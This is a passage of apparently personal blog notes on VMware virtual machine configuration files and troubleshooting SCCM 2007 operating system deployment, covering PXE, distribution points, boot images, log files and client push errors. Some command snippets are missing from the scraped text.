scsi3.present = "TRUE"
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"
sound.present = "TRUE"

you will get

scsi0.present = "TRUE"
scsi1.present = "TRUE"
scsi2.present = "TRUE"
scsi3.present = "TRUE"
ethernet0.present = "TRUE"

The free 5 PCI-slots are assigned following this priority-list:

1. Buslogic-SCSI-controller

2. LSI-logic-SCSI-controller

3. AMD-ethernet
4. VMX-ethernet
5. e1000-ethernet
6. Soundcard

In case you don't get the results you expect, please keep in mind that sometimes VMware uses silent-defaults.
If you order
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"
sound.present = "TRUE"

you will get

scsi0.present = "TRUE"
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"

The reason for this strange behaviour is simple: VMware assumes

scsi0.present = "TRUE"

for every VM. If you want no SCSI-controller you have to specify

scsi0.present = "FALSE"

Don't worry - the list with exceptions from the rule like is short.


A VMware-computer has the usual primary and secondary IDE-ports. To enable the primary port use this liine:

ide0.present = "TRUE"

To enable the secondary port use:

ide1.present = "TRUE

Actually IDE-ports are another example for silent defaults. This means you don't need to do anything if you want to use both ports.


To add one of max. 3 parallel ports add this line:

parallel0.present = "TRUE"

To add one of max. 4 serial ports add this line:

serial0.present = "TRUE"

To add 2 USB-ports (useing USB 1.1) add this line:

usb.present = "TRUE"


You can use # for comments.
The sequence of line doesn't matter.
Parameters with *.present work like a main-switch.
If parameter scsi0.present is activated every parameter in the sub-category is used. So if you have

scsi0.present = "TRUE"

then lines like

scsi0.virtualDev = "lsilogic"

are used.
If you have

scsi0.present ="FALSE"

all lines starting with scsi0 are ignored.

ESX Server, by default, doesn?t allow NICs in guest operating systems to be in promiscuous mode.

The fix is this:

PromiscuousAllowed yes

Replace ?vmnic0? in this command with whatever virtual switch or NIC team the virtual machine in question is using.

What happens if you use unknown or mis-spelled lines? A line like
zoo.number_of_elefants = "387"

causes an error-message and VMware-player will not start - this doesn't mean that there are no VMversions that count the number of elefants. Maybe a future version will ignore this line or even use it. So don't count on it. Better go with the rule:

Unknown or mis-spelled lines are ignored or give error-messages.


ERROR: PXE Cert not set. This might cause client failures.

ERROR: PXE Cert not set. This might cause client failures.
WARNING: _SMSTSSiteSigningCertificate Not Set. This might cause client failures in native mode.
WARNING: _SMSTSRootCACerts Not Set. This might cause client failures in native mode.
WARNING: _SMSTSCertStoreName Not Set. This might cause client failures in native mode.
WARNING: _SMSTSCertSelection Not Set. This might cause client failures in native mode.

The PXE Cert Not Set message in the SMSPXE.log may be corrected by either resetting the expiration date (the typical forum response) or by checking the CA certificate.

Try opening the Certificates | PXE node in SCCM. Find the certificate that is not "blocked" and right-click to Open it. Check the status of the CA Certificate. I found that it was "Not Trusted" in my environment. When I clicked the Install button and selected the Trusted Root CA Authorities, the certificate was then "valid" when I reopened the certificate. My SMSPXE.log no longer reflected that the certificate was not set.


Using Task Sequence Variables to customize deployments - Ronni Pedersen @ myITforum.com

Using Task Sequence Variables to customize deployments - Ronni Pedersen @ myITforum.com: "Living in a non-english speaking country like Denmark, I often have to deal with deploying English versions of Windows XP and/or Windows Vista, with other Regional Settings, Keyboard Settings, Time Zones etc.

In the past I've created a VBScript to modify the sysprep.inf or the unattend.xml, after laying down the image on the client. The values were configured with Collection Variables or Computer Variables. The script collected the value during deployment, and replaced the value in the sysprep.inf or unattend.xml file before restarting into mini setup.

This year at TechEd in Orlando, I attened a great session on Windows Deployment with Configuration Manager (Part 1 of 4) with Michael Kelly. In this session he showed a demo, where he created a custom variable ('XRes' and 'YRes'), and typed the variable direct in sysprep.inf like this:


This was a simple example, but it gave me a lot of ideas to work with. And as a result of this, I no longer need my 'fancy' script to take care of my deployments anymore. This is how I do it now (example):"

Read more:

Why can't I import a driver from a local drive path?

Boot Images, Operating System Images, Operating System Install Packages, and Drivers must be imported from a UNC path in ConfigMgr 07. Many people have asked why they can't reference a local drive path instead. Here is the explanation for drivers, courtesy of Michael Kelley. The explanation for the other types of packages is analogous.

Because ConfigMgr has to access the content of the drivers (parse through the .INF file, specifically), the drivers have to be accessible to the computer running the ConfigMgr provider. If we allowed local paths, it would have to be a local path on the ConfigMgr provider computer, which probably wouldn't make any sense, particularly if the provider is on the same computer as the ConfigMgr database. In the case of a site heirarchy, the driver content has to be accessible to the ConfigMgr provider on the child site so that it can copy the driver content to a child site Distribution Point when the driver is added to a Driver Package which was created on the child site.

This restriction of having to use a UNC path is something that applies to several of the new object types used by Operating System Deployment because of the need for the provider to read and parse the content. For example, the same is true for WIM files (Boot Images and Operating System Images) because the ConfigMgr provider has to parse the WIM header. For Operating Sytem Install Packages, the ConfigMgr provider needs to acces the content to determine properties such as the Operating System version and architecture.

Contributed by Michael Kelley

SCCM 2007 Troubleshooting Tips

The follow is a collection of tips that may be helpful when troubleshooting issues with ConfigMgr 07 Operating System Deployment.

Error Codes

There is no definitive list of error codes that can be returned in a task sequence, because most of the error codes originate from calls to other Windows API functions. The error lookup functionality provided by trace32.exe is a good place to start when trying to figure out what a specific error code means (in trace32.exe, go to Tools / Error Lookup...).

Enable the Debug Shell on your boot image

Boot images have an option to enable a command shell while running in Windows PE. This is turned off by default for security reasons (since it would allow an end user to open a command shell during the re-imaging process) but can be enabled on the “Windows PE” property page.

Open the boot image’s properties dialog
On the Windows PE tab check the “Enable command support (testing only)” option
Update the boot image on the distribution points
Rebuild any media that uses the boot image (e.g. capture media, boot media, or stand-alone media)

When a task sequence is running in Windows PE you can open a command shell by pressing F8. As long as the command-shell is open the task sequence will not reboot the machine. This will give you a chance to verify network connectivity, diagnose driver issues, and view/copy the log files (see Client Log Files section below).

Client Log Files

All actions in a task sequence log to the smsts.log file. This file is moved around during different stages of an operating system deployment so that it does not interfere with the imaging process.

  1. While in Windows PE the log file is stored in the windows temp directory on the RAM-disk (typically x:\windows\temp\smstslog)
  2. While in a full operating system that has a ConfigMgr client installed the log file is located in the smstslog subdirectory under the client logging path (typically %windir%\system32\ccm\logs\smstslog)
  3. While in the full operating system that does not have a ConfigMgr client installed the log file is located in the Windows temp directory (typically %windir%\temp\smstslog)

When the task sequence completes, the log file is “finalized” to one of the following locations depending on the state of the machine:

  1. If the task sequence finishes in Windows PE the log file is copied to an SMSTSLog directory on the largest available partition.
  2. If the task sequence finishes in the full operating system and a ConfigMgr client is installed then the log is copied to the client logging path (typically %windir%\system32\ccm\logs)
  3. If the task sequence finishes in the full operating system and there is no ConfigMgr client installed then the log is copied to the Windows temp directory.

Task Sequence Reports

When running, task sequences send status messages back to the server for each step in the task sequence. Included in these status messages are the last 1024 characters of stdout/stderr text from the action. Many times, this information can be used to remotely diagnose a task sequence issue (especially useful if an error has occurred in Windows PE and the debug shell was not enabled). The “History - Specific task sequence advertisements run on a specific computer” report provides a list of these status messages for a specific advertisement and computer and can be opened from the Reports node in the ConfigMgr console.

Contributed by Brett Flegg

Inside the Run Command Line action

Once you have the basic Operating System Deployment process working with ConfigMgr 2007, you will likely want to begin customizing your task sequences. The Run Command Line action provides a very flexible method to add custom steps. There are a few things you should be aware of when developing Run Command Line steps.

Shell Commands

You need to prepend 'cmd.exe /c' to internal shell commands (these are commands which are implemented by cmd.exe, such as dir and mkdir, instead of external executables, such as xcopy.exe). Here is a list of the internal shell commands listed on Microsoft TechNet (http://www.microsoft.com/technet/archive/winntas/deploy/prodspecs/shellscr.mspx?mfr=true):

Batch Files

Batch files (.cmd and .bat) cannot run directly from a UNC path. This can be an issue if you advertise the task sequence with the 'Access content directly from the distribution point' option.

Missing Binaries

Window PE is a stripped-down version of the full operating system and does not have all of the same tools available as a full version of Windows. You should verify that the Windows PE contains the binaries you require for your Run Command Line step.

Drive Letters

The drive letters are not always what you might expect them to be when running in Windows PE. Whenever possible, use the variables set by ConfigMgr 2007, such as %OSDTargetDrive%, when you need to do things like access files on the local drive.

Contributed by Brett Flegg

Tips for Debugging Task Sequences

"Tips for Debugging Task Sequences"

The definition of the task sequence (e.g. the specific steps to run) is distributed to the client using System Center Configuration Manager’s policy mechanism. By default, clients are configured to download policy every 24 hours (this means that after you change the definition of a task sequence it could be up to 24 hours before it takes affect on the client). We use this polling mechanism because it enables Configuration Manger to support a large number of clients with a relatively small number of servers. However it can definitely make debugging task sequence a bit of a pain. Here are some tips:

Option 1: Refresh Policy on the client

1. Make your change to the task sequence
2. On your client open the “Configuration Manager” control panel applet and run the “Machine Policy Retrieval & Evaluation Cycle” action on the Actions tab.
3. Wait 2 minutes while the policy is downloaded and processed
4. Run the task sequence

To make it clear that the client has received the new policy I sometimes change the name of the task sequence in step 1 to make it clear that new policy has been received.

Option 2: Use Boot Media

Unlike the Configuration Manager client, boot media (which can also be run in the full OS when"
Unlike the Configuration Manager client, boot media (which can also be run in the full OS when a client is not installed) downloads policy every time it starts. So, depending on the type of task sequence I am testing I sometimes find it convenient to use boot media.

Hope this helps.

Contributed by Brett Flegg

Amazon.com: SMS 2003 Recipes: A Problem-Solution Approach: Greg Ramsey, Warren Byle: Books

Amazon.com: SMS 2003 Recipes: A Problem-Solution Approach: Greg Ramsey, Warren Byle: Books: "Editorial Reviews
Product Description

Systems Management Server (SMS) 2003 provides a comprehensive solution for managing the Microsoft platform, enabling organizations to proactively manage their environment. SMS 2003 provides key capabilities like

* Application Deployment
* Asset Management
* Security Patch Management
* Remote User Management
* Mobile Systems Management
* Integration of people, processes, and technology to help solve specific customer scenarios

SMS 2003 Recipes: A Problem-Solution Approach provides you with hundreds of quick-reference solutions. It addresses a wide range of problems that all levels of SMS administrators have encountered. Some are simple beginning implementation solutions, while others address high-end automation techniques. The recipes in this book were selected to help you take your SMS environment to a new level of success.

About the Author
Greg Ramsey, a Microsoft Most Valuable Professional (MVP) for SMS, has been working with SMS and desktop deployment since 1998. He currently works for Dell, Inc., in Austin, Texas, as an SMS administrator. He has extensive knowledge in VBScript, WMI, ADSI, SMS Installer, Wise Package Studio, and VB .NET. Prior to 1998, he was a sergeant in"

WIX resources

WIX homepage:

WIX user mailing list:


WIX tutorial:

Creating an installer using Wix v3.0, Votive and Visual Studio 2005/8

Creating an installer using Wix v3.0, Votive and Visual Studio 2005/8 - part 2, the GUI


Error: this task sequence cannot be run because the program files for 0010000a cannot be located on a distribution point.

When deply OS through CD, the client pc was able to boot from CD and start Winpe, but then got error message as below:
Found 0 DPs in subnet, 0 DPs in local site, and 0 DPs in remote location.
this task sequence cannot be run because the program files for 0010000a cannot be located on a distribution point.
In my case, 0010000a refers to the OS image "Microsoft windows xp service pack 2". I noticed it has not been applied to any distribution point.
After I updated it to new distribution point and retry, the problem still there.

After searched the web,found this post:

The answer: you have to specify a Network Access Account.

It reminded me that my OS image file was saved on another machine . I then logged on to that computer and added the SCCM server's computer account to it's local administrator group.
Retry the winpe and problem gone.


Failed to resolve selected task sequence dependencies. Code(0x80040102)

Error when boot Winpe: Failed to resolve selected task sequence dependencies. Code(0x80040102)
I can boot with the image, the DHCP is working and with the F8 option I can connect to the DP to copy the smsts.log.

But if I do not start the F8 console the Image will loading and after a while it just reboots.

Annalysing the smsts.log shows that the MP will properly detected but no DP is discovered:
Failed to resolve selected task sequence dependencies. Code(0x80040102)

Reason that may causes this problem:
A boot image asks the MP where the DPs are. But it doesn't ask about DPs in general -- it asks about DPs that have a particular package. So you may get a different answer about what DPs are present depending on what package is being asked about. If you have not replicated one of your packages to a DP, then you could get the above error where no DPs (i.e., no DPs containing that package) are found. In this case, the package in question is ZMH0001A.

This problem could also occur if the package has been updated and has a new version, but the DPs have not yet received the new version. You can use "Update Distribution Points" and then check the package status to make sure the new version has gotten out to the DPs. Then try your task sequence again.

In my case, a software package has been created from task sequence but it has not been add to any distribution point. To fix it:
go to Software distribution ->packages->right click "microsoft configuration manager client upgrade 4.0 all->add it to both distribution point.

To add VMware network driver to the boot images

To add VMware network driver to the boot images:

1. Import VMware network driver to sccm first
Copy network driver to a network drive from the virtual machine that has vmware tool installed.
C:\program files\vmware tool\drivers
site database-> computer management->operating system deployment->drivers->right click and choose "import"->address the network driver folder where you havve just copied to.
2. Add imported driver to boot images.
site database-> computer management->operating system deployment->drivers->
right click on the driver->add or remove driver to boot image->tick both boot image x64 and x86, also tick "update distribution points when finished

clear last PXE advertisement
go to the collection->right click on the computer->choose "clear last pxe advertisement
then re-advertise the task sequence to the collection

To fix VMware network adapter missing problem:
add this line to the vmx file: ethernet0.VirtualDev = "e1000"
It will give the virtual machine a standard network card. But you may have problem when the machine run into winxp, it will ask you to provide driver.


Don't configure WDS when using SCCM

Justin install WDS but don't configure it when using SCCM. And below is the reason why:


I am new to SCCM. I already have a working WDS environment. I would like to be able to use the PXE/DHCP services from my existing WDS setup for SCCM. I have read several posts on this forum that says when installing WDS to configure a PXE point in SCCM that WDS/PXE should not be configured just installed. Is there a way to have both coexisting on the same network?


Hi Bill,
The reason you shouldn't pre-configure WDS is because SCCM takes over the management of WDS and I've found that any changes you make to WDS cause SCCM's PXE Role to fail.

If you want to continue using your existing WDS environment, I believe you will need to set up a second WDS server to use as a PXE Service Point, you can then set a delay on that PXE Service Point so that it's not the first to respond.

I'm not sure how this would work though.
By kwacky1

Of course, if the settings you want for WDS are the same you'd have with SCCM, they will work fine and you don't need to install separate WDS environments.

In my experience, having two PXE servers in the same subnet, serving the same computers with different images is a nightmare. Any kind of network hiccup causes the secondary PXE to be the primary and all of a sudden you've got weird things happening. The only way to combat this would be to assign only certain machines to each PXE server, but then that's a management headache...

My suggestion is to simply find the settings that you can live with for SCCM and WDS and merge the two. Of course, once you have SCCM run WDS, don't expect to have WDS handing out images and things not associated with SCCM.

By Robert Hearn [MSFT]

Have you had a look at the following document? It outlines some of the setup configurations supported by Configuration Manager 2007.
by Dan Bernhardt [MSFT]


notes on OSD sccm 2007

How do i install pxe service role on my server?:- http://technet.microsoft.com/en-us/library/bb680668.aspx

how can i add drivers to boot images?

1) http://technet.microsoft.com/en-us/library/bb633285.aspx

2) http://technet.microsoft.com/en-us/library/bb680705.aspx

where can i find WIM image?

You need to create by setting up reference computer and then capture a image
1) http://technet.microsoft.com/en-us/library/bb680705.aspx

2) http://technet.microsoft.com/en-us/library/bb694129.aspx


you can create image through MDT (Microsoft deployment tool)


PXE deploy failed

Failed boot from PXE, getting messages below:

Downloaded WDSNBP...

Architecture: x64

The details given below show the information relating to the PXE boot request for
this computer. Please provide these details to your Windows Deployment Services
Administyrator so that this request can be approved.

Pending Request ID: 5

Contacting Server:





Troubleshoot SCCM 2007

When I tried to push the client insgtallation, i got the following errors in the CCM.log:
CWmi::Connect(): ConnectServer(Namespace) failed. - 0x800706ba SMS_CLIENT_CONFIG_MANAGER

Unable to connect to WMI on remote machine "Computer name", error = 0x800706ba. SMS_CLIENT_CONFIG_MANAGER

I found some good posts from the web:
Some people experienced similar problem and confirmed it was caused by WMI problem on the client machine. The above two post discussed how to troubleshoot WMI problem.

But none of them fixed my problem.

After couple of hours search and testing, the problem has been resolved. The reason was quite simple, SCCM was using domain administrator account to push the client but that account seemed not have enough permission to it. I added it to the local administrator group on the client machine and push again from server, it worked.